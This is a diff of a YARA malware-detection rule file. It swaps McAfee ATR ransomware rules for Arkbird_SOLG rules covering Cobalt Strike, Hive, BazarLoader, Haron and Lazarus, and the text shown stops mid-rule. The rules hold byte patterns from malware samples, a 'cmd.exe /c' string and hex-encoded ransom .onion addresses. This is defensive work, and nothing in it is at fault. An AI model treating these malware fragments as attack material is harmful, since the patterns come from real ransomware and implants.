-		$v8 = "Error open %s in try_lock_exclusively" fullword ascii
-		$v9 = "Mode:%d  Verbose:%d Daemon:%d AESNI:%d RDRAND:%d " fullword ascii
-		$v10 = "pthread_cond_signal() error" fullword ascii
-		$v11 = "ChaCha20 for x86_64, CRYPTOGAMS by <appro@openssl.org>" fullword ascii
+		$s1 = { 53 [1-3] 81 c4 [2] ff ff 8b f2 8b ?? 54 8d 44 24 08 50 68 04 01 00 00 8b ?? e8 [12-22] 8d 54 24 04 8b c6 [73-133] 33 d2 52 50 8b 45 e8 8b 55 ec e8 [3] ff 8b 4d 0c 89 01 89 51 04 8b 45 f0 33 d2 52 50 8b 45 e8 8b 55 ec e8 [3] ff 8b 4d 10 89 01 89 51 04 8b c3 5b 8b e5 5d }
+		$s2 = "cmd.exe /c " fullword ascii
+		$s3 = "Failed to Save Stream %s is already associated with %s=This control requires version 4.70 or greater of COMCTL32.DLL" fullword wide
+		$s4 = { 53 00 79 00 73 00 74 00 65 00 6d 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 53 00 65 00 74 00 5c 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 5c 00 4b 00 65 00 79 00 62 00 6f 00 61 00 72 00 64 00 20 00 4c 00 61 00 79 00 6f 00 75 00 74 00 73 00 5c 00 25 00 2e 00 38 00 78 }
+		$s5 = { 4a 00 50 00 45 00 47 00 20 00 65 00 72 00 72 00 6f 00 72 00 20 00 23 00 25 00 64 }
+		$s6 = { 45 00 72 00 72 00 6f 00 72 00 20 00 63 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 69 00 6e 00 67 00 20 00 74 00 6f 00 20 00 73 00 65 00 72 00 76 00 65 00 72 00 3a 00 20 00 25 00 73 }
 
 	condition:
-		( uint16(0)==0x457f and filesize <200KB and (8 of them )) or ( all of them )
+		uint16(0)==0x5a4d and filesize >100KB and 5 of them
 }
-import "pe"
-
-rule TRELLIX_ARC_Sodinokobi : RANSOMWARE
+rule ARKBIRD_SOLG_MAL_Cobaltstrike_Oct_2021_1 : FILE
 {
 	meta:
-		description = "This rule detect Sodinokobi Ransomware in memory in old samples and perhaps future."
-		author = "McAfee ATR team"
-		id = "dd05ce31-9699-50a9-944c-5883340791af"
-		date = "2024-08-01"
-		modified = "2020-08-14"
-		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Sodinokibi.yar#L33-L54"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "f25039ac743223756461bbeeb349c674473608f9959bf3c79ce4a7587fde3ab2"
+		description = "Detect Cobalt Strike implant"
+		author = "Arkbird_SOLG"
+		id = "89d46993-cc1b-536b-b1ab-a0e967d0d397"
+		date = "2021-10-30"
+		modified = "2021-10-30"
+		reference = "https://twitter.com/malwrhunterteam/status/1454154412902002692"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-10-29/Hive/MAL_CobaltStrike_Oct_2021_1.yara#L1-L19"
+		license_url = "N/A"
+		logic_hash = "4f1a2306b8279be67829d0d515063caae6a9d7a07078a43c2cbe62f675bcb450"
 		score = 75
-		quality = 70
-		tags = "RANSOMWARE"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/Sodinokibi"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
-		version = "1.0"
+		quality = 75
+		tags = "FILE"
+		hash1 = "f520f97e3aa065efc4b7633735530a7ea341f3b332122921cb9257bf55147fb7"
+		hash2 = "7370c09d07b4695aa11e299a9c17007e9267e1578ce2753259c02a8cf27b18b6"
+		hash3 = "bfbc1c27a73c33e375eeea164dc876c23bca1fbc0051bb48d3ed3e50df6fa0e8"
+		tlp = "white"
+		adversary = "-"
 
 	strings:
-		$a = { 40 0F B6 C8 89 4D FC 8A 94 0D FC FE FF FF 0F B6 C2 03 C6 0F B6 F0 8A 84 35 FC FE FF FF 88 84 0D FC FE FF FF 88 94 35 FC FE FF FF 0F B6 8C 0D FC FE FF FF }
-		$b = { 0F B6 C2 03 C8 8B 45 14 0F B6 C9 8A 8C 0D FC FE FF FF 32 0C 07 88 08 40 89 45 14 8B 45 FC 83 EB 01 75 AA }
+		$s1 = { 48 83 ec 10 4c 89 14 24 4c 89 5c 24 08 4d 33 db 4c 8d 54 24 18 4c 2b d0 4d 0f 42 d3 65 4c 8b 1c 25 10 00 00 00 4d 3b d3 f2 73 17 66 41 81 e2 00 f0 4d 8d 9b 00 f0 ff ff 41 c6 03 00 4d 3b d3 f2 75 ef 4c 8b 14 24 4c 8b 5c 24 08 48 83 c4 10 f2 c3 }
+		$s2 = { 89 ?? 24 ?? 8b ?? 24 0c 89 ?? 24 ?? 8b ?? 24 ?? c1 ?? 0d 89 ?? 24 0c 48 8b ?? 24 10 89 ?? 24 [2] 8b ?? 24 10 }
+		$s3 = { b8 10 00 00 00 48 89 45 ?? e8 [3] 00 48 29 c4 48 89 e0 48 8b 4d ?? 48 89 45 ?? 48 89 c8 e8 [3] 00 48 29 c4 48 89 e0 48 8b 4d ?? 48 89 45 ?? 48 89 c8 e8 [3] 00 48 29 c4 48 89 e0 48 8b 4d ?? 48 89 45 ?? 48 89 c8 e8 [3] 00 48 29 c4 48 89 e0 48 8b 4d ?? 48 89 45 ?? 48 89 c8 e8 [3] 00 48 29 c4 48 89 e0 48 8b 4d ?? 8b 55 f8 89 11 4c 8b 45 ?? 4c 8b 4d f0 4d 89 08 4c 8b 55 ?? 4c 8b 5d e8 4d 89 1a 48 8b 75 ?? 48 8b 7d e0 48 89 3e c7 00 ?? 00 00 00 48 8b 05 [3] 00 48 05 [2] 00 00 8b 19 4d 8b 00 4d 8b 32 48 8b 0e 48 83 ec 20 4c 89 f2 41 89 d9 ff d0 48 83 c4 20 ?? 45 }
+		$s4 = { 48 83 ec 48 44 89 4c 24 44 4c 89 44 24 38 48 89 54 24 30 48 89 4c 24 28 c7 44 24 24 ?? 00 00 00 48 8b 05 [3] 00 48 05 [2] 00 00 44 8b 4c 24 44 4c 8b 44 24 38 48 8b 54 24 30 48 8b 4c 24 28 ff d0 90 48 83 c4 }
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and filesize >20KB and 3 of ($s*)
 }
-import "pe"
-
-rule TRELLIX_ARC_Ragnarlocker_Ransomware : RANSOMWARE FILE
+rule ARKBIRD_SOLG_RAN_ELF_Hive_Oct_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect RagnarLocker samples"
-		author = "McAfee ATR Team"
-		id = "58874f27-3070-52c9-bd96-337fdaa4499b"
-		date = "2020-04-15"
-		modified = "2020-10-12"
-		reference = "https://www.bleepingcomputer.com/news/security/ragnar-locker-ransomware-targets-msp-enterprise-support-tools/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_ragnarlocker.yar#L3-L45"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "9706a97ffa43a0258571def8912dc2b8bf1ee207676052ad1b9c16ca9953fc2c"
-		logic_hash = "2f31da9182a1b47fb1e7e4459461de4c496ec323ff13e622d3ce27ac8cce1912"
-		score = 75
-		quality = 68
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/RagnarLocker"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		description = "Detect ELF version of Hive ransomware"
+		author = "Arkbird_SOLG"
+		id = "434cfe85-3209-5990-9c68-47ce4fafd5b8"
+		date = "2021-10-29"
+		modified = "2021-10-30"
+		reference = "https://twitter.com/ESETresearch/status/1454100591261667329"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-10-29/Hive/RAN_ELF_Hive_Oct_2021_1.yara#L1-L19"
+		license_url = "N/A"
+		logic_hash = "47ccf3b825521986070dba92194d5937289c0335b922537ea3242c4afb2be237"
+		score = 60
+		quality = 35
+		tags = "FILE"
+		hash1 = "6a0449a0b92dc1b17da219492487de824e86a25284f21e6e3af056fe3f4c4ec0"
+		hash2 = "bdf3d5f4f1b7c90dfc526340e917da9e188f04238e772049b2a97b4f88f711e3"
+		tlp = "white"
+		adversary = "-"
+		level = "experimental"
 
 	strings:
-		$s1 = {2D 2D 2D 52 41 47 4E 41 52 20 53 45 43 52 45 54 2D 2D 2D}
-		$s2 = { 66 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? B8 ?? ?? ?? ?? 0F 44 }
-		$s3 = { 5? 8B ?? 5? 5? 8B ?? ?? 8B ?? 85 ?? 0F 84 }
-		$s4 = { FF 1? ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 85 }
-		$s5 = { 8D ?? ?? ?? ?? ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
-		$op1 = { 0f 11 85 70 ff ff ff 8b b5 74 ff ff ff 0f 10 41 }
-		$p0 = { 72 eb fe ff 55 8b ec 81 ec 00 01 00 00 53 56 57 }
-		$p1 = { 60 be 00 00 41 00 8d be 00 10 ff ff 57 eb 0b 90 }
-		$bp0 = { e8 b7 d2 ff ff ff b6 84 }
-		$bp1 = { c7 85 7c ff ff ff 24 d2 00 00 8b 8d 7c ff ff ff }
-		$bp2 = { 8d 85 7c ff ff ff 89 85 64 ff ff ff 8d 4d 84 89 }
+		$s1 = { 49 3b 66 10 76 ?? 48 83 ec ?? 48 89 6c 24 ?? 48 8d 6c 24 ?? 48 8b [3] 48 }
+		$s2 = { 48 89 f8 48 89 f3 48 83 ec 27 48 83 e4 f0 48 89 44 24 10 48 89 5c 24 18 48 8d 3d 41 [2] 00 48 8d 9c 24 68 00 ff ff 48 89 5f 10 48 89 5f 18 48 89 1f 48 89 67 08 b8 00 00 00 00 0f a2 89 c6 83 f8 00 74 33 81 fb 47 65 6e 75 75 1e 81 fa 69 6e 65 49 75 16 81 f9 6e 74 65 6c 75 0e c6 05 [3] 00 01 c6 05 [3] 00 01 b8 01 00 00 00 0f a2 89 05 [3] 00 48 8b 05 }
+		$s3 = { 66 0f 38 dc ?? 66 0f 38 dc ?? 66 0f 38 dc ?? 66 0f 38 dc ?? 66 0f 38 dc ?? 66 0f 38 dc }
+		$s4 = { 00 00 48 8b ac 24 68 02 00 00 48 81 c4 70 02 00 00 c3 ?? 80 ?? 0e [6] 48 8b [2] 48 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and (4 of ($s*) and $op1) or all of ($p*) and pe.imphash()=="9f611945f0fe0109fe728f39aad47024" or all of ($bp*) and pe.imphash()=="489a2424d7a14a26bfcfb006de3cd226"
+		uint32(0)==0x464C457F and filesize >20KB and all of ($s*)
 }
-rule TRELLIX_ARC_RANSOM_Mountlocker : RANSOMWARE FILE
+rule ARKBIRD_SOLG_MAL_Bazarloader_Oct_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect Mount Locker ransomware"
-		author = "McAfee ATR Team"
-		id = "8451b78c-3cef-557a-a2e3-0767a0b0eddb"
-		date = "2020-09-25"
-		modified = "2020-10-12"
-		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_mountlocker.yar#L1-L32"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "fb332a6725b9276cca379dd3621943c69f88570fb317da27a857a2544d2aa4e0"
+		description = "Detect BazarLoader implant"
+		author = "Arkbird_SOLG"
+		id = "d6462e74-fe1d-599e-aac8-0d0942ca42ad"
+		date = "2021-10-30"
+		modified = "2021-10-30"
+		reference = "https://twitter.com/malwrhunterteam/status/1454154412902002692"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-10-29/Hive/MAL_BazarLoader_Oct_2021_1.yara#L1-L17"
+		license_url = "N/A"
+		logic_hash = "afbe02ef9e69ac5105aaae28240d6863c9c4578c0e8fd7c86c38d975cf8acdc6"
 		score = 75
-		quality = 64
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransomware:W32/MountLocker"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
-		hash1 = "4b917b60f4df6d6d08e895d179a22dcb7c38c6a6a6f39c96c3ded10368d86273"
-		hash2 = "f570d5b17671e6f3e56eae6ad87be3a6bbfac46c677e478618afd9f59bf35963"
+		quality = 75
+		tags = "FILE"
+		hash1 = "0ba7554e7d120ce355c6995c6af95542499e4ec2f6012ed16b32a85175761a94"
+		hash2 = "2b29c80a4829d3dc816b99606aa5aeead3533d24137f79b5c9a8407957e97b10"
+		tlp = "white"
+		adversary = "-"
 
 	strings:
-		$s1 = {63 69 64 3d 25 43 4c 49 45 4e 54 5f 49 44}
-		$s2 = {7a 73 61 33 77 78 76 62 62 37 67 76 36 35 77 6e 6c 37 6c 65 72 73 6c 65 65 33 63 37 69 32 37 6e 64 71 67 68 71 6d 36 6a 74 32 70 72 69 76 61 32 71 63 64 70 6f 6e 61 64 2e 6f 6e 69 6f 6e}
-		$s3 = {36 6d 6c 7a 61 68 6b 63 37 76 65 6a 79 74 70 70 62 71 68 71 6a 6f 75 34 69 70 66 74 67 73 33 67 69 7a 6f 66 32 78 34 7a 6b 6c 62 6c 6c 69 61 79 68 73 71 62 33 77 61 64 2e 6f 6e 69 6f 6e}
+		$s1 = { 48 8b 44 24 60 c6 80 38 01 00 00 01 48 8b 44 24 60 c6 80 39 01 00 00 02 48 8b 44 24 60 c7 40 5c 03 00 00 00 b8 60 00 00 00 48 6b c0 00 48 8b 4c 24 60 48 03 41 68 48 89 44 24 20 48 8b 44 24 20 c7 00 01 00 00 00 48 8b 44 24 20 c7 40 08 02 00 00 00 48 8b 44 24 20 c7 40 0c 02 00 00 00 48 8b 44 24 20 c7 40 10 00 00 00 00 48 8b 44 24 20 c7 40 14 00 00 00 00 48 8b 44 24 20 c7 40 18 00 00 00 00 b8 60 00 00 00 48 6b c0 01 48 8b 4c 24 60 48 03 41 68 48 89 44 24 20 48 8b 44 24 20 c7 00 22 00 00 00 48 8b 44 24 20 c7 40 08 01 00 00 00 48 8b 44 24 20 c7 40 0c 01 00 00 00 48 8b 44 24 20 c7 40 10 01 00 00 00 48 8b 44 24 20 c7 40 14 01 00 00 00 48 8b 44 24 20 c7 40 18 01 00 00 00 b8 60 00 00 00 48 6b c0 02 48 8b 4c 24 60 48 03 41 68 48 89 44 24 20 48 8b 44 24 20 c7 00 23 00 00 00 48 8b 44 24 20 c7 40 08 01 00 00 00 48 8b 44 24 20 c7 40 0c 01 00 00 00 48 8b 44 24 20 c7 40 10 01 00 00 00 48 8b 44 24 20 c7 40 14 01 00 00 00 48 8b 44 24 20 c7 40 18 01 }
+		$s2 = { 48 8b 44 24 50 48 8b 00 c7 40 28 10 00 00 00 48 8b 44 24 50 48 8b 00 b9 04 00 00 00 48 6b c9 00 48 8b 54 24 50 8b 92 18 01 00 00 89 54 08 2c 48 8b 44 24 50 48 8b 00 48 8b 4c 24 50 ff 10 48 8b 4c 24 50 e8 80 f8 ff ff 48 8b 4c 24 50 e8 c6 fe ff ff 48 8b 44 24 50 83 78 78 00 76 16 48 8b 44 24 50 83 78 74 00 76 0b 48 8b 44 24 50 83 78 7c 00 7f 1e 48 8b 44 24 50 48 8b 00 c7 40 28 21 00 00 00 48 8b 44 24 50 48 8b 00 48 8b 4c 24 50 ff 10 48 8b 44 24 50 48 8b 4c 24 50 8b 40 74 0f af 41 7c 89 44 24 24 8b 44 24 24 89 44 24 34 8b 44 24 24 39 44 24 34 74 1e 48 8b 44 24 50 48 8b 00 c7 40 28 48 00 00 00 48 8b 44 24 50 48 8b 00 48 8b 4c 24 50 ff 10 48 8b 44 24 38 c7 40 18 00 00 00 00 48 8b 4c 24 50 e8 0c fc ff ff 48 8b 4c 24 38 88 41 1c 48 8b 44 24 38 48 c7 40 20 00 00 00 00 48 8b 44 24 38 48 c7 40 28 00 00 00 00 48 8b 44 24 50 0f b6 40 62 85 c0 74 0d 48 8b 44 }
+		$s3 = { 48 8b 84 24 c0 00 00 00 8b 80 64 01 00 00 39 44 24 30 0f 8d 82 00 00 00 48 63 44 24 30 48 8b 8c 24 c0 00 00 00 48 8b 84 c1 68 01 00 00 48 89 44 24 58 48 8b 44 24 38 48 8b 4c 24 58 8b 40 10 0f af 41 0c 48 8b 4c 24 58 48 63 49 04 48 8b 94 24 c0 00 00 00 48 8b 52 08 48 89 54 24 70 c6 44 24 20 00 4c 8b 44 24 58 45 8b 48 0c 44 8b c0 48 8b 44 24 38 48 8b 54 c8 70 48 8b 8c 24 c0 00 00 00 48 8b 44 24 70 ff 50 40 48 63 4c 24 30 48 89 84 cc 80 00 00 00 e9 5c ff ff ff 48 8b 44 24 38 8b 40 18 89 44 24 40 eb 0a 8b 44 24 40 ff c0 89 44 24 40 48 8b 44 24 38 8b 40 1c 39 44 24 40 0f 8d af 01 00 00 48 8b 44 24 38 8b 40 14 89 44 24 44 eb 0a 8b 44 24 44 ff c0 89 44 24 44 48 8b 84 24 c0 00 00 00 8b 80 88 01 00 00 39 44 24 44 0f 83 6e 01 00 00 c7 44 24 50 00 00 00 00 c7 44 24 30 00 00 00 00 eb 0a 8b 44 24 30 ff c0 89 44 24 30 48 8b 84 24 c0 00 00 00 8b 80 64 01 00 00 39 44 24 30 0f 8d e2 00 00 00 48 63 44 24 30 48 8b 8c 24 c0 00 00 00 48 8b 84 c1 68 01 00 00 48 89 44 24 58 48 8b 44 24 58 8b 4c 24 44 0f af 48 38 8b c1 89 44 24 60 c7 44 24 48 00 00 00 00 eb 0a 8b 44 24 48 ff c0 89 44 24 48 48 8b }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and ($s1 and $s2) or ($s1 and $s3) or $s1
+		uint16(0)==0x5A4D and filesize >200KB and all of ($s*)
 }
-rule TRELLIX_ARC_RANSOM_Exorcist : RANSOMWARE FILE
+rule ARKBIRD_SOLG_RAN_Haron_Aug_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect Exorcist"
-		author = "McAfee ATR Team"
-		id = "38ab069d-b030-5459-a42f-7ecd5963e68f"
-		date = "2020-09-01"
-		modified = "2020-10-12"
-		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Exorcist.yar#L1-L25"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "c376382e60aae0f661151495097d3d93f185faebb11781dbf083324c23a07247"
+		description = "Detect Haron locker"
+		author = "Arkbird_SOLG"
+		id = "5900ad0e-66ca-5127-b8c2-cc23ace8929f"
+		date = "2021-08-09"
+		modified = "2021-08-09"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-09/RAN_Haron_Aug_2021_1.yara#L1-L22"
+		license_url = "N/A"
+		logic_hash = "5001041d9bb8acc0fa5e0e3b4cfacc5a891bed6885101ae3513b5524c91c572d"
 		score = 75
-		quality = 70
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransomware:W32/Exorcist"
-		actor_type = "Cybercrime"
-		hash1 = "793dcc731fa2c6f7406fd52c7ac43926ac23e39badce09677128cce0192e19b0"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "66ed5384220ff3091903e14a54849f824fdd13ac70dc4e0127eb59c1de801fc2"
+		hash2 = "6e6b78a1df17d6718daa857827a2a364b7627d9bfd6672406ad72b276014209c"
+		tlp = "white"
+		adversary = "Haron"
 
 	strings:
-		$sq1 = { 48 8B C4 48 89 58 08 48 89 70 10 48 89 78 18 4C 89 60 20 55 41 56 41 57 48 8D 68 A1 48 81 EC 90 00 00 00 49 8B F1 49 8B F8 4C 8B FA 48 8B D9 E8 ?? ?? ?? ?? 45 33 E4 85 C0 0F 85 B1 00 00 00 48 8B D7 48 8B CB E8 9E 02 00 00 85 C0 0F 85 9E 00 00 00 33 D2 48 8B CB E8 ?? ?? ?? ?? 45 33 C0 48 8D 15 ?? ?? ?? ?? 48 8B CB E8 ?? ?? ?? ?? 45 8D 44 24 01 48 8B D7 48 8B C8 E8 ?? ?? ?? ?? 48 8B D0 48 8B CB 48 8B F8 FF 15 ?? ?? ?? ?? 4C 89 64 24 30 45 33 C9 C7 44 24 28 80 00 00 E8 45 33 C0 BA 00 00 00 C0 C7 44 24 20 03 00 00 00 48 8B CF FF 15 ?? ?? ?? ?? 4C 8B F0 48 8D 48 FF 48 83 F9 FD 77 25 48 8D 55 2F 48 8B C8 FF 15 ?? ?? ?? ?? 4C 39 65 2F 75 3B 49 8B CE FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? 48 8B CF E8 ?? ?? ?? ?? 4C 8D 9C 24 90 00 00 00 49 8B 5B 20 49 8B 73 28 49 8B 7B 30 4D 8B 63 38 49 8B E3 41 5F 41 5E 5D C3 48 8D 45 FB 4C 89 65 1F 4C 8D 4D FF 48 89 44 24 20 4C 8B C6 4C 89 65 07 48 8D 55 07 4C 89 65 FF 48 8D 4D 1F 44 89 65 FB E8 ?? ?? ?? ?? 45 33 C9 4C 8D 05 3C F5 FF FF 49 8B D7 49 8B CE FF 15 ?? ?? ?? ?? 48 8D 55 17 49 8B CE FF 15 ?? ?? ?? ?? 49 8B CE 44 89 65 F7 E8 ?? ?? ?? ?? 49 8B F4 4C 89 65 0F 4C 39 65 17 0F 8E 9D 00 00 00 C1 E0 10 44 8B F8 F0 FF 45 F7 B9 50 00 00 00 E8 ?? ?? ?? ?? 8B 4D 13 48 8B D8 89 48 14 89 70 10 4C 89 60 18 44 89 60 28 4C 89 70 30 48 8B 4D 07 48 89 48 48 48 8D 45 F7 B9 00 00 01 00 48 89 43 40 E8 ?? ?? ?? ?? 33 D2 48 89 43 20 41 B8 00 00 01 00 48 8B C8 E8 ?? ?? ?? ?? 48 8B 53 20 4C 8D 4B 38 41 B8 00 00 01 00 48 89 5C 24 20 49 8B CE FF 15 ?? ?? ?? ?? EB 08 33 C9 FF 15 ?? ?? ?? ?? 8B 45 F7 3D E8 03 00 00 77 EE 49 03 F7 48 89 75 0F 48 3B 75 17 0F 8C 6B FF FF FF EB 03 8B 45 F7 85 C0 74 0E 33 C9 FF 15 ?? ?? ?? ?? 44 39 65 F7 77 F2 48 8B 4D 07 E8 ?? ?? ?? ?? 48 8B 4D 1F 33 D2 E8 ?? ?? ?? ?? 49 8B CE FF 15 ?? ?? ?? ?? 4C 89 64 24 30 45 33 C9 C7 44 24 28 80 00 00 00 45 33 C0 BA 00 00 00 C0 C7 44 24 20 03 00 00 00 48 8B CF FF 15 ?? ?? ?? ?? 48 8B D8 48 8D 48 FF 48 83 F9 FD 77 51 48 8D 55 37 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B 55 37 45 33 C9 45 33 C0 48 8B CB FF 15 ?? ?? ?? ?? 44 8B 45 FB 4C 8D 4D 27 48 8B 55 FF 48 8B CB 4C 89 64 24 20 FF 15 ?? ?? ?? ?? 48 8B 4D FF E8 ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? E9 14 FE FF FF 48 8B CF E8 ?? ?? ?? ?? 48 8B 4D FF E9 06 FE FF FF }
-		$sq2 = { 48 8B C4 48 81 EC 38 01 00 00 48 8D 50 08 C7 40 08 04 01 00 00 48 8D 4C 24 20 FF 15 ?? ?? ?? ?? 48 8D 4C 24 20 E8 ?? ?? ?? ?? 48 81 C4 38 01 00 00 C3 }
+		$s1 = { 02 17 8d ?? 00 00 01 [2] 16 20 [2] 00 00 20 00 ?? 00 00 [1-5] 73 [2] 01 00 0a a2 ?? 7d ?? 01 00 0a }
+		$s2 = { 03 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 28 ?? 00 00 06 }
+		$s3 = { 1f 38 16 02 28 ?? 01 00 0a 16 9a 6f ?? 01 00 0a b8 28 ?? 00 00 06 13 07 7e ?? 01 00 0a 13 0b 11 07 11 0b 11 06 6e 1f 60 6a d7 88 20 00 30 00 00 1f 40 28 ?? 00 00 06 28 ?? 01 00 0a b8 13 08 11 07 02 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 28 ?? 00 00 06 28 ?? 01 00 0a b8 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 28 ?? 00 00 06 84 b8 13 09 11 07 02 7e }
+		$s4 = { 1f 18 02 28 ?? 01 00 0a 16 9a 6f ?? 01 00 0a b8 28 ?? 00 00 06 0a 7e ?? 01 00 0a 0b 06 07 28 ?? 01 00 0a 0c 08 2c 04 07 0d 2b 6f 12 04 fe 15 ?? 00 00 02 12 04 11 04 28 ?? 00 00 2b b8 7d ?? 00 00 04 06 12 04 28 ?? 00 00 06 0c 08 2c 4a 12 04 7c ?? 00 00 04 28 ?? 01 00 0a 20 ff ff ff 7f 6a fe 02 16 fe 01 13 05 11 05 2c 17 03 12 04 7b ?? 00 00 04 17 28 ?? 01 00 0a 16 fe 01 13 06 11 06 2d 0c 06 12 04 28 ?? 00 00 06 2d c2 2b 0a 12 04 7b ?? 00 00 04 0d 09 2a 07 0d 09 2a }
+		$s5 = { 28 0e 00 00 0a 0b 16 0c 38 84 01 00 00 07 08 9a 0a 06 6f ?? 01 00 0a 20 00 00 80 0c 6a 3e 66 01 00 00 06 6f 0d 00 00 0a 28 0c 00 00 0a 6f 0d 00 00 0a 28 21 00 00 0a 39 4c 01 00 00 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 3a 2d 01 00 00 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 3a 0e 01 00 00 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 3a ef 00 00 00 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 3a d0 00 00 00 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 3a b1 00 00 00 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 3a 92 00 00 00 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 2d 76 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 2d 5a 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 2d 3e 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 2d 22 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 2d 06 06 6f 26 00 00 0a de 03 26 de 00 08 17 58 0c 08 07 8e 69 3f 73 fe ff ff 20 c4 09 00 00 28 18 00 00 0a dd 57 fe ff ff 26 dd 51 fe ff ff }
+		$s6 = { 7e ?? 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 28 09 00 00 06 6f [2] 00 0a 0a 06 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 28 09 00 00 06 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f [2] 00 0a 06 6f ?? 00 00 0a de 03 26 de 00 2a }
+		$s7 = { 28 ?? 00 00 06 0a 02 06 28 ?? 00 00 06 0b 07 6f [2] 00 0a 16 16 17 20 ff 0f 1f 00 17 14 73 [2] 00 0a 16 14 73 [2] 00 0a 6f [2] 00 0a 02 06 07 28 ?? 00 00 06 de 03 26 de 00 2a 00 00 00 }
 
 	condition:
-		uint16(0)==0x5a4d and any of them
+		uint16(0)==0x5A4D and filesize >25KB and 6 of ($s*)
 }
-rule TRELLIX_ARC_Purelocker_Ransomware : RANSOMWARE FILE
+rule ARKBIRD_SOLG_APT_Lazarus_HTA_Apr_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect PureLocker ransomware based on binary sequences"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "3d945869-9faa-59de-add6-d664a7beef6f"
-		date = "2019-11-13"
-		modified = "2020-08-14"
-		reference = "https://www.pandasecurity.com/mediacenter/security/purelocker-ransomware-servers/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_PureLocker.yar#L1-L25"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
